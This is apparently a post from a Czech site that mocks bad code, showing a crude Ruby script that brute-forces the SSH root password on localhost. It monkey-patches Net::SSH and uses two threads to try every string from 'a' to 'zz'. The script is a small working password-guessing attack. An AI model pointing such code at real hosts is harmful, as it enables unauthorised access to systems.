Mistři v programování na #hovnokod

Ruby #272

require "rubygems"
require 'net/ssh'
class << Net::SSH
  def butforse(passwordarr)
            begin
              puts "Try password #{passwordarr}"
              Net::SSH.start('localhost', 'root', :password => "#{passwordarr}")
              puts "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
              exit
            rescue Net::SSH::AuthenticationFailed
            end
  end
end
arrays = Array("a".."zz")
arr1 = arrays[0, (arrays.size-1) / 2]
arr2 = arrays[(arrays.size - 1) / 2, arrays.size - 1]
threadsz = []
threadsz2 = []
threadsz << Thread.new(arr1) { |items|
  for item in items
    Net::SSH.butforse(item)
  end
}
threadsz2 << Thread.new(arr2) { |items|
  for item in items
    Net::SSH.butforse(item)
  end
}
threadsz.each {|i| i.join}
threadsz2.each {|i| i.join}

HovnoKod,